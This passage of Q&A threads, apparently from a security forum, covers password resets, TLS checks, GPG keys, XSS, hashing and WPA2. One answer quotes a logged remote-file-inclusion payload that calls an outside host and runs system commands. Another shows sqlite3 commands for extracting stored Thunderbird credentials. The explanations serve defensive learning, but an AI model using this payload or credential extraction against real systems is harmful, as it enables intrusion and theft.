I guess HTTPS and put the secret in the body. Other than that, I don't think you can really secure it more, which is a shame. Also, you would need a certificate for your Raspbery PI.


Framework behind password reset mechanism I have always seen those "Forgot password" links from web sites that requires some form of user login. Can I get a deeper understanding of how this works? What tools/framework do I need to use because we are thinking of implementing these kinds of "automation". I believe I need a combination of email, OTP etc.

We are currently still in manual mode, i.e by sending password letters through snail mail and I am thinking of revamping our site.
thanks

Password reset mechanisms typically work like this:

The server generates a secret random string (e. g. 16 bytes read from /dev/urandom).
Then the server sends this string to the user, often embedded within a link to a password reset page. A hash of the string is stored in the database for later validation. Usually, the string is only valid within a certain time frame.
When the user clicks on the link, the server checks the transmitted string. If it's valid, the user may change the password.

While this approach is very common, it's obviously far from perfect. A plaintext e-mail may very well end up in the wrong hands, in which case the secret string is compromised. Whether or not this risk is acceptable depends entirely on your application and your specific requirements.


How to check if TLS 1.0 is disabled I want to disable TLS 1.0 on my server while only keeping TLS 1.1 and TLS 1.2 enabled. I've made the necessary adjustments (I think). How can I check that TLS 1.0 is indeed disabled?

You can use OpenSSL to check that easily:

openssl s_client -connect www.myhost.something:443 -tls1

If that succeeds, tls version 1 is enabled.


Is it necessary to remove the primary secret GPG key from your laptop if it has full-disk encryption? According to a number of articles, e.g. "Creating the Perfect GPG Keypair," it is advisable to have a number of subkeys in your GPG key, one for encryption, and one for signing, and then to (a) back up your keys as well as a revocation certificate [ideally on paper too] and (b) remove the "primary" signing secret key from your laptop, so that gpg -K returns:

/home/bilbo/.gnupg/secring.gpg
-----------------------------
sec#  4096R/488BA441 2013-03-13
uid                  Bilbo Baggins <bilbo@shire.org>
ssb   4096R/69B0EA85 2013-03-13
ssb   4096R/C24C2CDA 2013-03-13

... with the goal being that if your laptop is stolen you can properly revoke the keys.

I use Filevault 2 on my Mac & also have a firmware password -- so hopefully if my laptop is stolen or lost, I won't have to be concerned that someone will be able to access the data. Is it truly necessary to remove the primary signing secret key? I'm mostly concerned that I will lose the backups of the secret key and thus lose access to the keys.

Yes

Although you have taken good precautions against loss or theft of your laptop, you remain vulnerable to electronic attacks. In particular browser-based malware could take control of your computer and steal your PGP key.

The point of using subkeys is that you keep the master key somewhere really safe - which is not your everyday laptop. There have been other questions on here about where to keep your keys safe. A popular suggestion was to print out a QR code encoding of your key, and keep the printout safe.


Why don't websites and devices offer fake logins for hackers? I was thinking about this earlier this morning and was wondering why websites and devices don't offer fake logins for hackers? What I mean by that is that if a hacker finds out some of your details and tries to log in to a website (for example) the website will show that you have successfully logged in but will show dummy data that is completely fake.

That way the hacker won't know if they have got the login details correct or not. It will also protect people in a security situation. For instance, imagine a criminal has stolen someones phone and realises he can't access it. He then points a gun at the owner who then types in part of their details correct but some of them incorrectly. The device unlocks in fake mode, and the criminal then thinks they have access and they decide not to shoot the person because they have complied with their wishes. But the criminal never knows that what they see is just a fake login.

Has anyone implemented something like this? It seems like quite a good idea to me.

That way the hacker won't know if they have got the login details correct or not.

If the information presented after login has no relationship to the person who the login should be for, then most hackers will quickly recognize that the login is probably not the real one.

But, in order to show information which looks like it fits the user, considerable effort could be needed. It also needs to be created specifically for each user and show some true information about the user so it does not look fake but not too much so no important information is leaked.

You cannot expect your provider to do this for you but you might try to do this yourself in many cases, i.e. add another email account, another facebook account etc.


Can duct tape prevent hackers from watching me? Since hackers can hack into my mobile phone/computer and use its camera to watch over me,

Q1: Can I know if my mobile phone/computer camera has been hacked?

Q2: If I was hacked, does putting duct tape over camera/webcam really prevent them from watching me? Can they watch me through the screen?

I really appreciate your time.

Figuring out if any device has been hacked is an extremely complex
subject.  In most cases, unless you know precisely what to look for
or have weird side-effects of the hack, you may never notice it.
Duct tape on camera lens will most definitely prevent anyone from
seeing you.  You'd obviously need to cover both cameras on a mobile
phone.  Other than that, you would not be visible as the screen
itself is not an input device.


Blind XSS via cookie? I would like to know if its possible to test blind XSS via a cookie value. That is I send the server some cookie that has a blind XSS payload. Or is blind XSS only exploitable if a human interacts with my payload for instance through a web form?

Put simply, blind XSS is a form of XSS where the adversary cannot access the endpoint where the payload is stored/executed. The important property of XSS that is relevant to your question is that the payload consists of client-side code.This means in order for the payload to execute, a client must render the DOM containing the malicious payload. This so called "client" could be an unsuspecting user or might go as far as being a headless browser triggering the code.

Based on personal experience as a bug bounty hunter, blind XSS most commonly occurs via submission forms where the payload is stored in a dashboard which an employee can then access. [1] That being said, there have been plenty of cases where the payload is injected via the User-Agent, Referer, etc. headers and then stored in a fancy HTML log somewhere on the company's infrastructure. At the end of the day, if the application is storing data unescaped somewhere, blind XSS becomes a plausible attack vector. Maybe placing an XSS payload in your cookie might trigger an error that is stored somewhere unescaped. ¯\_(ツ)_/¯

On a side note, if you are planning on hunting for blind XSS vulnerabilities in the context of a bug bounty program, for instance, I would highly recommend using XSSHunter and experimenting a bit. If someone triggers your payload, you will receive a pingback from XSSHunter notifying you where your payload ended up.


What is the risk of private IP address disclosure if it is the user IP? I am checking a web application with  OWASP Zed Attack Proxy (ZAP).

There is a vulnerability (low) that says "private IP address disclosure" and when I check for more details I found that it is my IP, and there is a function that just reflects the "logged-in" user IP address so that a user can log in and with a specific request and response can see the IP address  of his own and not other users.

What is the risk of this? And why did ZAP tag it as a low vulnerability?

This is more of an issue when the private IP address belongs to the server, since it can give an indication of how the infrastructure of the website is configured. For example, if you find some method of scanning from the server, knowing the IP range it's on saves a lot of time when looking for other systems - only having to scan 192.168.1.1-255 is a lot quicker than having to scan all private ranges.

If you get multiple values during browsing, it could indicated a load balanced solution, or that different parts of the application are hosted on different servers. All useful things to know, even if they don't directly get additional access.

Most scanners don't attempt to distinguish between your own private IP address and a remote system one, since they could well be the same - there are a limited number of private ranges, after all.

It's just a form of information disclosure, like the server name in an HTTP header, or an internal path to the application files. It probably won't cause issues on it's own, but can make exploitation of other issues easier.


Process of mail analysis We've been receiving some pretty well executed spear phishing attempts, they know staff in specific depts and our MD's  name.  We use Claranet so raise an incident when these come through and they send the offending mail off to Symantec for analysis who 'flag it as spam'.

What analysis process happens to the mail and how are those results used to improve  spam detection. I presume there's a little more to it than check headers and blacklist the sender

What Symantec does with the specific mail is probably their secret sauce and also depends on the mail. But common things are

Adding "signatures" to anti malware programs in case the mail contained malicious attachments.
Updating the reputation filter for web sites in case the mail contained links to sites where the attacker tried to grab credentials or deliver malware.
Updating reputation of sender IP address so any mails from this address gets marked as harmful.

These updated rules then get shipped to all their customers so they can profit from your finding the same you can profit from their finding.


php-fpm.log shows a mass of unusual attempts to open primary script with random filenames I recently happened to inspect my php-fpm.log and found a lot of suspicious activity that looks like malicious attempts to get access to my host. Here're some of the logs:

[07-Oct-2018 22:01:31] WARNING: [pool www] child 4190 said into stderr: "ERROR: Unable to open primary script: /data/wwwroot/default/1.php (No such file or directory)"
[07-Oct-2018 22:01:31] WARNING: [pool www] child 2955 said into stderr: "ERROR: Unable to open primary script: /data/wwwroot/default/a.php (No such file or directory)"
[07-Oct-2018 22:01:31] WARNING: [pool www] child 3003 said into stderr: "ERROR: Unable to open primary script: /data/wwwroot/default/m.php (No such file or directory)"
[07-Oct-2018 22:01:32] WARNING: [pool www] child 4677 said into stderr: "ERROR: Unable to open primary script: /data/wwwroot/default/conf.php (No such file or directory)"
[07-Oct-2018 22:01:32] WARNING: [pool www] child 4667 said into stderr: "ERROR: Unable to open primary script: /data/wwwroot/default/123.php (No such file or directory)"

It's trying to open various random names in my web folder, and I wonder how can I figure out the source of the activity and how to stop it?

This is an attack OWASP refers to as Forced Browsing.  The attacker has a dictionary of words, phrases, etc. that they're going to try on random servers in order to find php files which exist, but aren't directly referenced by links, or other scripts on your site.

The goal of this is to identify potential vulnerable PHP files.  Filenames such as a, b, or 123 could indicate code which was still in development that was forgotten about.  Code in development could leak information in debug outputs.

Conf.php is looking for scripts which are intended for initial configuration of a web app, which was intended to be removed after configuration, but wasn't.

These types of attacks are extremely easy to perform, and usually don't indicate that you're the target of an advanced threat.  I would liken them to port scanning, where an attacker just tries a few common files on everyone and sees if anything interesting is returned.

Depending on the webserver you're using, you may want to install a module or configure it in a manner that limits the number of 404s it returns to a particular IP in a specified time.


Given Diceware, why does the requirement to contain uppercase, numerics & punctuation in passwords still stand? Example strong diceware password:

widow stout harvey crest zomba zloty butyl

This password will be rejected by most sites, for example by Outlook.com. (Notable exceptions: Gmail, Stackoverflow, which seem to accept this very password (tested))

Example modified diceware password that will be accepted by most sites:

Widow stout harvey crest zomba zloty butyl1.

Is this password much stronger than the original one? I doubt.

Example password that will be accepted by most sites (checked on Outlook, which rejected the orignal password):

zxcvPOIU

This password seems to me to be substantially weaker than the one that was originally rejected!!

And yet - in my experience this is what most sites still require.

Given that most does not include Google nor Stackoverflow - is this requirement simply outdated, but most sites still did not catch up? Or are there any actual reasons why lowercase/uppercase/numeric/punctuation is still to be required?

First of all, there are different criteria on what is a good password.

Facebook will happily let you in using a password with reversed case. Others will frown at that. A few years ago, Outlook.com wouldn't have let you use a password with more than 16 characters. Each site may have different password policy, which leads to different implementations. Some sites require symbols, other consider that a long-enough password is enough.

The main problem, however, is that the site doesn't know how the password was generated. A diceware-generated "widow stout harvey crest zomba zloty butyl" has about 90 bits of entropy. Whereas "this is my password for stack exchange" would have much less (specially if I know you used ""this is my password for outloo.com" at outlook!).

Thus, password meters (such as the validations embedded in those sites) resort to estimating the entroppy of the passwords. Generally, adding capital letters or symbols increases the password space, so it was commonly recommended (or required) that lowercase, uppercase and symbols were present in the password as a proxy to "the password will be hard to crack". This is reinforced by common suggestions to do that.

You will find that usually, when the system can generate a password for you (such as access tokens), it doesn't require all that). Since the password is generated by the server it knows how it is generating it and thet it has enough entropy.

Finally, note that in some systems there may be actual reasons for requiring certain length or types of characters. Mainly because they are used (copied) into systems that require it, or because of regulatory reasons, they need to require that, even if it is not that important.


Not deleting session cookies.. Is it safe? I always used to automatically delete session cookies when i close the browser. Having to retype passwords every time is a little annoying though. How safe is it not to clear session cookies once you're done browsing? There is a lot of material online about session cookies, but not whether it's safe to keep them on the same computer. What are the security implications and concerns on this? Thanks.

Some browsers now provide the facility to suspend and resume a session when the browser is closed with open tabs. In my experience this retains session cookies (that is to say, cookies without an expiration date, normally expected to be deleted when the browser exits).

Further, not all sites use session cookies to identify sessions in the application - some use short-lived conventional cookies meaning that even if you close the tab before shutting down the browser, it will be possible to resume the session for such services.

Hence in both scenarios, someone with access to the browser (and user account on the client) can access the session.


Does this simple function add something to prepared statements? I've been researching how to completely prevent against SQL injection, but there are so many different forms of injecting that completely preventing it looks impossible to me. I am using prepared statements and put up the following simple function to prevent against SQL injections. Does this secure against (the most) SQL injections, if I run this function on every posted variable? I have also read about multi-byte characters, how can I secure my queries against that?

function securevar($var)
{
    $var = str_replace("'", "&#39;", $var); //secure '
    $var = str_replace('"', "&#34;", $var); //secure "
    return $var;
}

No. SQL Injection should be prevented by parameterizing your queries.

OWASP has some great resources to help you with this.

Here is one such sheet to show this in several languages. The PHP cheat sheet also has some more information regarding sql injection.

To directly address your hard coded filter function check out this source demonstrating the exploitation of hard coded filters, including quotes and single quotes.


Do https enable web sites sent cookies over an encrypted channel? Do HTTPS enabled web sites send cookies over an encrypted channel and if yes are this still vulnerable to session hijacking attacks?

If you request a page using HTTPS, yes, the cookies (and virtually everything else) is delivered over an encrypted channel.

However that does not mean that there are no avenues for attack.  If the cookies are not marked with the "secure" flag, they will also be sent over HTTP, and will be exposed on any HTTP request to the site, even if it merely causes the site to redirect you to the HTTPS version of the page.  This can be mitigated by setting the secure flag so the cookies are only sent along with HTTPS requests.

Additionally, if cookies aren't marked with the HttpOnly flag, they're potentially exposed if there are XSS vulnerabilities on the site.  Cookies that aren't marked at HttpOnly can be read by JavaScript on a page, and if the JavaScript is injected by an attacker and malicious, the cookies could be extracted and forwarded.

So, while using HTTPS is one piece of the security solution, it isn't the only piece.


is the hash of a hash of a password, equally or more safe than hashing just once? I am told that is quite easy to crack passwords when an attacker obtains a list of hashes of these passwords. This is quite easily compared to hashes of pre-computed common passwords, or brute-force compared or attacked with a dictionary based list or rainbowlist.

For this reason fast hashes as MD5 are deprecated. My question is if by applying the hash algorithm many many times one can really achieve storage of passwords that is harder to crack with all the above mentioned approaches, or is just an illusion?

It seems to me that the answer is yes, it's more secure. If I store the hash of a password that has been re-hashed N times, an attacker would have to know how many passes of hashing I did, or guess this number. Taking N large enough seems to me it would make an attack quite unfeasible, while storing the hash would be still a quick thing (imagine some tens of thousands of hash passes, it would be still matter of seconds I guess on a CPU)

You are correct that an increased number of hash iterations improves security, but is certainly not a silver bullet.

As @Marc says, you should assume the attacker knows the number of iterations, so you don't get any security there. Where you do gain, is by increasing the cost of the attack. If you're using a large number of iterations of a big slow password hashing function like argon2, scrypt or the older pbkdf2, then each guess will be more expensive in terms of CPU time and electricity costs.

The attack is still feasible, but it becomes expensive, like $50,000 USD of compute time on AWS kind of expensive, so you're forcing to ask "is the value of what I can steal with this password high enough to balance out the costs of the attack?

(As @Marc also says, this answer assumes you're doing proper salting, otherwise rainbow tables can be used and the attack becomes much cheaper).


Review on encrypted data storage algorithm I'm building a small command line tool (mostly for fun) that is meant to store data (such as passwords or files) encrypted into a local database, with a user supplied password, pretty much the same functionallity as KeePass.

I'm looking for some review to what I'm doing to confirm I'm not leaving any security hole and I'm using known algorithms correctly or if there is too much redundancy.

It's also important how resillient the data is against brute force.

The process is as follows:

Encryption:

User provides a password and data
Two 32 bytes key are derived from the user password (call it d_key and s_key), using PBKDF2 with a 16 bytes RNG (os urandom) salt (different salt for each key), and 10000 iterations (configurable)
Data is encrypted using AES CTR with d_key, and a signature is calculated from the ciphertext using HMAC sha512 with s_key
Both ciphertext and hmac signatures are stored in the database, along with the used salts and iteration count.

Decryption:

User enters his password and id of the data he want's to retrieve
d_key and s_key are generated using the existing stored salts and iteration count.
Data is loaded decrypted using d_key
HMAC is re-calculated from the encrypted data, using s_key and compared with the one stored to confirm data wasn't modified and key is valid.
All good, data returned to the user.

Now my main question is, HMAC seems redundant, but seems like the only good way to check that the key is valid, otherwise a hash of the plain text data would need to be compared which would be very easy to reverse engineer / brute force.

Also, do I really need two separate keys for AES and HMAC? Even if using a salt?

Lastly, does PBKDF2 really help? Or would it be the same to simply use a hash function to derive the key? Since the key is not stored anywhere, it seems redudant as well, although I would guess that if the key is not salted and iterated brute could be easier.

Now my main question is, HMAC seems redundant, but seems like the only good way to check that the key is valid, otherwise a hash of the plain text data would need to be compared which would be very easy to reverse engineer / brute force.

HMAC is important. AES CTR encryption gives you confidentiality. But that is not enough. You also need an integrity check, which HMAC can provide. Look up Authenticated Encryption for details.

Getting the implementation right can be tricky so I recommend using AES GCM, which has the integrity check built-in.

But since you're rolling your own integrity check...

  Also, do I really need two separate keys for AES and HMAC?

Yes, but easy to do. Churn the same password through PBKDF2 but with a different iteration count (say 20000). What's interesting about this approach is you could use the key derived for HMAC to authenticate the user, i.e. if the HMAC check fails, don't try decrypting the ciphertext - just return an error stating password was wrong. Although a simplification, this is how password managers work in a nutshell - same password is used for authentication as well as encryption.

  Lastly, does PBKDF2 really help?

Yes, to mitigate against brute force attacks by:

Intentionally making PBKDF2 an expensive operation, especially with higher iterations.
Expanding the password to take up the entire 128 or 256 bit space of AES. Otherwise you'd need ridiculously long passwords.


Wireshark log analyzing I have the following Wireshark log and I want to categorize the attack. I think it prints the user under apache runs and then prints the system information. From this log can we determine if the attack was successful? In my opinion it was not because of the apache's mod-security.

Request: 200.158.8.207-- [19/Jan/2012:19:40:46 --0400] "POST /index.php HTTP/1.1" 403 743
Handler: cgi-script
POST lindex.php HTTP/1.1
Host: www.foo.com
Connection: keep-alive
Accept: '/'
Accept-Language: en-us
Content-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla 4.0 (Linux)
Content-Length: 65
X-Forwarded-For: 200.158.8.207
mod_security-message: Access denied with code 403. Pattern match "unamelx20-a" at
POST_PAYLOAD
mod_security-action: 403

65
lid=http://th3.ownz. p5. org. uk/lila.jpg?&cmd=cd /Imp; id; lsuname -a

mod_security sent the user a HTTP 403 response, which means (quoted from RFC 2616):

  The server understood the request, but is refusing to fulfill it. Authorization will not help and the request SHOULD NOT be repeated. If the request method was not HEAD and the server wishes to make public why the request has not been fulfilled, it SHOULD describe the reason for the refusal in the entity. If the server does not wish to make this information available to the client, the status code 404 (Not Found) can be used instead.

The reason for this block is it matched the pattern "uname -a" which is a unix command for returning system information. Here is an example output of such command:

  Linux k4rrax 2.6.35-32-generic #64-Ubuntu SMP Mon Jan 2 23:31:33 UTC 2012 i686 GNU/Linux

This "attack" is probably just a random scriptkiddie or bot trying to see if it can exploit you in any way. It is very commonly seen on the internet. The origin IP adress is already blacklisted several places: https://www.google.com/?q=200.158.8.207


Is it possible to easily retrieve Thunderbird's passwords with access to HDD? I know Firefox 8 stores it's passwords in a SQLite database, which can easily be stolen with access to the HDD!

What about Thunderbird 8? How does it store the passwords and how can one retieve them?

I know NirSoft has this nice tool to retrieve passwords, but it's not compatible with Thunderbird > 5.

On linux, the password database is stored in:

/home/$USER/.thunderbird/$RANDOM_STRING.default/signons.sqlite

See @Karrax's answer for Windows locations.

You can examine this file interactively using the sqlite3 CLI:

sqlite3 ~/.thunderbird/zxcv1357.default/signons.sqlite

sqlite> .tables
moz_disabledHosts  moz_logins
sqlite> .schema moz_logins
CREATE TABLE moz_logins (id                 INTEGER PRIMARY KEY,hostname           TEXT NOT NULL,httpRealm          TEXT,formSubmitURL      TEXT,usernameField      TEXT NOT NULL,passwordField      TEXT NOT NULL,encryptedUsername  TEXT NOT NULL,encryptedPassword  TEXT NOT NULL,guid               TEXT,encType            INTEGER, timeCreated INTEGER, timeLastUsed INTEGER, timePasswordChanged INTEGER, timesUsed INTEGER);
CREATE INDEX moz_logins_encType_index ON moz_logins(encType);
CREATE INDEX moz_logins_guid_index ON moz_logins(guid);
CREATE INDEX moz_logins_hostname_formSubmitURL_index ON moz_logins(hostname, formSubmitURL);
CREATE INDEX moz_logins_hostname_httpRealm_index ON moz_logins(hostname, httpRealm);
CREATE INDEX moz_logins_hostname_index ON moz_logins(hostname);
sqlite> select * from moz_logins;
3|imap://imap.example.com|imap://imap.example.com||||MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIQwErTyUiOp12345GmuM2KNXcZ=|MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIQwErTyUiOp12345GmuM2KNXcZ=|{1234abcd-beef-feed-face-0a0a0a0a0a}|1|1320123123123|1320123123123|1320123123123|1
4|smtp://smtp.example.com|smtp://smtp.example.com||||MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIQwErTyUiOp12345GmuM2KNXcZ=|MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIQwErTyUiOp12345GmuM2KNXcZ=|{1decafbad-fa11-1234-1234-abcdef0123456}|1|1320123123123|1320123123123|1320123123123|1

If you wanted to fetch usernames/passwords from code, it's as simple as:

echo "select encryptedUsername, encryptedPassword from moz_logins;" | sqlite3 ~/.thunderbird/*.default/signons.sqlite

or the equivalent in your favorite programming language with sqlite3 bindings.

Of course, if they're encrypted (as shown above) you'll need to put some effort into guessing the master password used for encryption. As a user, know that if you use a weak master password (e.g. P4ssw0rd1) it will be trivial to get the cleartext passwords.


What is the "cost" of hashing? After reading this question, I realize I do not understand the aspect of cost of encryption hashing.

Can anyone shed some light on that aspect please?

This is a parameter used in password hashing, not for reversible encryption.

Passwords typically have low entropy. If an attacker has your corpus of hashed passwords, they can simply try hashing the most common passwords with each user's salt to quickly find login credentials. A GPU, FPGA, or ASIC can hash hundreds of millions (or more) of attempts in parallel.

Therefore, newer password hashing functions have a cost parameter. As this number grows, the amount of work (typically CPU time or memory) necessary to compute the hash increases exponentially. A typical cost factor might increase the number of operations necessary to compute a password hash by a factor of 100,000 or more. The idea being that this doesn't significantly increase the cost of verifying a hash for authentic use-cases (with, say, >50% of attempts being successful), but is a dramatic penalty for someone who guesses incorrectly virtually all of the time.


Actually, isn't it bad to redirect http to https? I have a two-part question about question #570288 over on ServerFault.

Question:

  Is it bad to redirect http to https?

Accepted answer (185 up-votes):

  [...] Hell no. It's very good.

Part 1

Is that answer, well... wrong? :)

Am I correct that, from a security point of view, redirecting HTTP to HTTPS is a terrible idea for your users, who might know very little about security?

As I understand it, HTTP conversations can be MODIFIED and your client will have no way of knowing.

If the bad guy intercepts your HTTP 302 redirect and replaces it with a redirect to evil.com, (even evil.com via HTTPS), the client will be completely unaware.

This is why security professionals have always recommended that you bookmark the HTTPS version of a site, or type https into the address bar, right?  (Does HSTS mitigate this?  Does HTTPSEverywhere mitigate this?)

Part 2

Is this important enough that we should do what we can to get that answer updated?

Right now that question is being featured in the "Hot Network Questions" sidebar on StackExchange network sites.
There's one mention MITM, in a comment buried in the middle of the page.

Redirecting from HTTP to HTTPS is not a bad thing. What is bad is relying on it as if it was a security feature.

This redirection is a lighthouse, meant to allow ships lost at sea in the storm to understood where they are and, with luck, give them a better chance to reach a safe haven. Nobody claims that lighthouses make storm disappear; they just improve probabilities of a happy ending for bad conditions.

The only bad thing that can be said about an automatic redirect from HTTP to HTTPS is that it breeds complacency. If a user errs, e.g. by trying to access the Web site as HTTP instead of HTTPS, the automatic redirect allows him to persist in his mistaken ways, hiding the fact that his inappropriate URL exposed him to the vindictiveness of Internet dwellers, some being quite proactively evil at times. Disabling this redirection could be construed as being more pedagogical. However, this point of view is somewhat unrealistic; most Web site owners are in no position to educate users. What they want is to grab the attention of potential customers. If you begin to make access to your Web site more difficult, then they will just go away; they will not be educated in the slightest way, and business will suffer.

"That which does not kill us makes us stronger." A catchy phrase from a more-than-half mad philosopher; but not necessarily applicable to the general public as an educational policy. The problem with making people stronger by trying to kill them is that sometimes you succeed -- to kill them, I mean.

As mr spuratic explains, to really makes things better, browser should use HTTPS by default; ideally, the whole Web would be HTTPS-only: if browsers try HTTPS first but fall back to HTTP in case of errors, then an active attacker can simulate the failure and force a fallback. DNSSEC coupled with appropriate SRV records could advertise, in a secure way, that a given server should be used with HTTPS only, but this will work reliably only when... it will work everywhere (same bootstrap problem as IPv6).

In the mean time, a redirect will bring stray sheep to the stable even when the sheep are completely unaware of the wild beasts who roam the night-time countryside. This is usually considered a more efficient method than trying to teach sheep not to stray.


Does Google log my activity on service A when logged in to service B or by IP address? Now that Google's new Privacy Policy will combine data from their various services...

Will Google associate me to my activity on one service even if I am not logged in to that service? Did they always do this?

With the new policy I suspect that if I am logged in and Google search for kittens I may get suggested even more kitten videos when I next visit YouTube. More importantly kitten related advertisements. But what if I was not logged in to search?

A specific example that comes to mind is, if I log in (YouTube/Gmail) at an IP address say at home (maybe on my phone, maybe the same PC) will Google now associate every Search I make to that account even though I am not logged in on that browser at that time?

Google Privacy Preview
"We may collect information about the services that you use and how you use them, like when you visit a website that uses our advertising services or you view and interact with our ads and content. This information includes: "

Device information
Log information
Location information
Unique application numbers
Local storage
Cookies and anonymous identifiers

Yes, Google will be able to log your activity mutually through services. You do not even need to be logged. For example I was searching on Google for "online kids game" for my little cousin to play, later that evening I was using Youtube as usual and I was shown Kids Toys Advertisment for the first time on Youtube, coincidence (I wasn't even logged)? I doubt it.

Check out my answer on this question, I also give deeper details and info on how to protect your identity. Does Google record search / source IP [/ user] pairs?


Resource server and authorization server in OAuth 2.0 Can resource server and authorization server be on the same server in OAuth 2.0? Also, Can they share the same database as well?

According to https://tools.ietf.org/html/rfc6749#section-1.1

  The authorization server
     may be the same server as the resource server or a separate entity.


What should I do if I want to unsubscribe from what might be spam? I've been getting emails at my work address for the past year from a company I don't remember subscribing to (especially not with my work email address). I've reported it as spam, but got a reply from my company saying it's a real company.

I'm dubious, and I've read that you shouldn't click unsubscribe from emails you don't remember subscribing to as it alerts spammers that it's a live address, so I set up a filter to auto-delete the emails.

However, the emails keep changing. The email address in the from field changes, or the name of the company changes slightly, etc. Eventually, new emails slip through, and I have to set up a new filter. Also, the URL in the unsubscribe link changes with every email. The email itself always contains a link to a document to read about the latest technology updates in (my field), but the URL always ends in ?email=(my email address)?from=(number). (At least I assume it's a document, I've never clicked on one.)

I feel like a reputable company wouldn't do something like this, and so I'm still hesitant to unsubscribe. The people the emails are from seem to have LinkedIn profiles, but I've also found some other posts suggesting it might be spam.

https://www.reddit.com/r/sysadmin/comments/6vjdgj/panorama_software_spammers/

Am I being over-paranoid? Should I just unsubscribe?

In a more general case, what things can I do to work out if an email is safe to unsubscribe from?

If the domain name of the link checks out with a reputable company and it has a green SSL padlock you can unsubscribe. Cant get any worse than it is now.

Maybe try opening the unsubscribe link in a Chrome incognito tab in case it is malicious and tries something fishy like CSRF. Or if you are really paranoid, open the unsubscribe in a VM you will throw out afterwards.


Can my company see the contents on my iPhone if I used my work email on it? I'm temporarily employed at a company and I needed to send a quick email to one of my coworkers yesterday explaining that I was going to be late for my shift.

I couldn't reach them by phone and didn’t want to use my personal email, so I downloaded the Outlook app and used my work one. After I signed out and deleted my account from the app, can they see my personal stuff?

I doubt that they can actually see the content of your phone, however an exchange administrator is able to remotely wipe your device at any moment.

This is usually done in case of a critical security risk coming from your device, which can also be the phone being lost.

They can also turn off phone functions such as bluetooth, web browser, camera, etc..

Please see this answer which shows what an exchange administrator can do on your device remotely:
Microsoft email servers "require remote control of Android device security features"

By the way you have to accept this policy when you add your exchange account to your smartphone's email client.

As a personal advice, I recommend you next time to use the web access if your company allows it. In that case you would just login to a web portal (Outlook Web Access = OWA) with your company credentials and they will have no access to your phone whatsoever.
It has not the same functionalities as having the mailbox on an actual client, but for just sending an email for being late you shall be fine.


Why does message 1 of the WPA2 4 way handshake begin with the access point sending a random number? All the references I have found
https://en.wikipedia.org/wiki/IEEE_802.11i-2004
https://www.wifi-professionals.com/2019/01/4-way-handshake
https://www.hitchhikersguidetolearning.com/2017/09/17/eapol-4-way-handshake/
indicate that the first thing that happens is the sending of the Anonce( a random number) from the access point to the client.
This communication carries no information and could have come from any attacker.
The client then constructs message 2 with this formula:
PTK = PRF (PMK + Anonce + SNonce + Mac (AA)+ Mac (SA))
Now the access point can create message 3 to return to the client.
Since the access point kicked off the whole process with just a random number, How does the client know that the access point is genuine and not a spoof? Somewhere I am missing where the 4 way handshake proves the access point's authenticity.

This communication carries no information and could have come from any attacker.

Correct. But the server knows which random number (ANonce) it has sent and requires that the client does computations with this number and not with some other number set by the attacker. In other words: the ANonce is neither secret nor does it need to be protected. All what is needed is that it is defined by the server. The server uses the self-defined ANonce and not some attacker-defined ANonce when validating computations done by the client. Validating will only succeed if the client is using the server-defined ANonce and not the attacker-defined ANonce too.

Somewhere I am missing where the 4 way handshake proves the access point's authenticity.

From Wikipedia:
The four-way handshake[8] is designed so that the access point (or authenticator) and wireless client (or supplicant) can independently prove to each other that they know the PSK/PMK, without ever disclosing the key. Instead of disclosing the key, the access point (AP) and client encrypt messages to each other—that can only be decrypted by using the PMK that they already share—and if decryption of the messages was successful, this proves knowledge of the PMK.


Can I recover a lost AES key? I had encrypted 2 MySQL databases with AES_ENCRYPT in ECB 128 bit mode. Now I forgot my encryption key, but I have plain text (I have one database without encryption and same with encryption). How to find the encryption key so I can decrypt my other database?

I heard about known plain text attack, how to do this? Is there any tool in Kali Linux or some python script on GitHub?

Realistically, no you cannot. AES is very resistant to known plaint text attacks like most block ciphers.
It's lucky you didn't lose any information and have the original database backup because your only real option would be to try brute force the encryption, which is likely to take longer than the length of the universe (unless you can greatly narrow down possible keys by almost remembering your password?)


Loss of physical locks/password to safes Safes can keep important information like part of a dual control password, smartcards and pendrives, and so on.

What would be the best practices to prevent loss or damage to a physical locks to a safe?
The same question for loss of access password?

Dealing with physical locks is pretty straightforward. You call a professional locksmith and they can open the lock. Once it's open, you can either reset the combination or re-fit a new lock. The bigger and more expensive/professional the safe, the more costly/difficult it is to do this.

Standard practice is to keep a few spare copies of the key in trustworthy places. Tamper-evidence (e.g., envelope, in-case-of-emergency-break-glass, or whatever) is sometimes helpful.

Interestingly enough, physical keys can be duplicated from information. If you take a good picture of a key, the key can be reconstructed from the photo. In fact, if you knew that your front door key was a Schlage 24431, you could go to a locksmith and have them use a Schlage blank and create a 24431 key and it would probably work.

But generally you just pick the lock and change the lock if you lose the physical key.


Can you crack a Mailinator "Alternate Inbox Name?" From their FAQ:

What are "Alternate Inbox Names" ?
There are 2 ways to get email into any given inbox. When you check an inbox, listed at the top is the Alternate Inbox name. Emailing that alternate name is the same as emailing the regular name of the inbox. For example, the alternate name for "joe" is "M8R-yrtvm01" (all alternate names start with "M8R-").

So basically if you cracked the Alternate Inbox Names, you will have access to the URL of the original word used, in this case M8R-yrtvm01 will lead to joe.mailinator.com

Do you think it's possible or easy to crack? I think for that you should brute force attack their site, which will be sooner down due to heavy loads.

Perhaps... and perhaps not. The author of Mailinator is a pretty smart guy, and I imagine he did this right. But he's not publishing his source code, so you never know for certain.

For example, if here were to pad the original mailbox name to the appropriate size, encrypt using an undisclosed key, and then text-encode the result, he could come up with a reversible encoding that would be very difficult to break.

Easier still, it could simply refer to some internal key; a filesystem path or a database index or some other simple lookup reference that only has meaning if you're running that software. This would be completely irreversible without getting access to the server installation.

That's not to say this is what he's doing, but sufficient security is possible in this scenario.


Having a backdoor password for each user to allow impersonation For some context, I want my api to be able to 'impersonate' (or connect as) a user on my ldap database as most of the api's access controls are on the ldap database and tied to the user you are connected as.
In order to do this I have an idea where I will generate a random password for each user. The random password will then be encrypted with a key only the api has access to. The encrypted string will then be stored under the user's entry. Now when the api wants to impersonate a user, it will get the encrypted string, decrypt it and then connect as that user.
How bad of an idea is this?

Is terrible, really terrible. Almost as terrible as storing the cleartext version of the passwords on a file named passwords.txt...
The first rule of storing passwords is that you never store passwords. You salt and hash them.

encrypted with a key only the API has access to

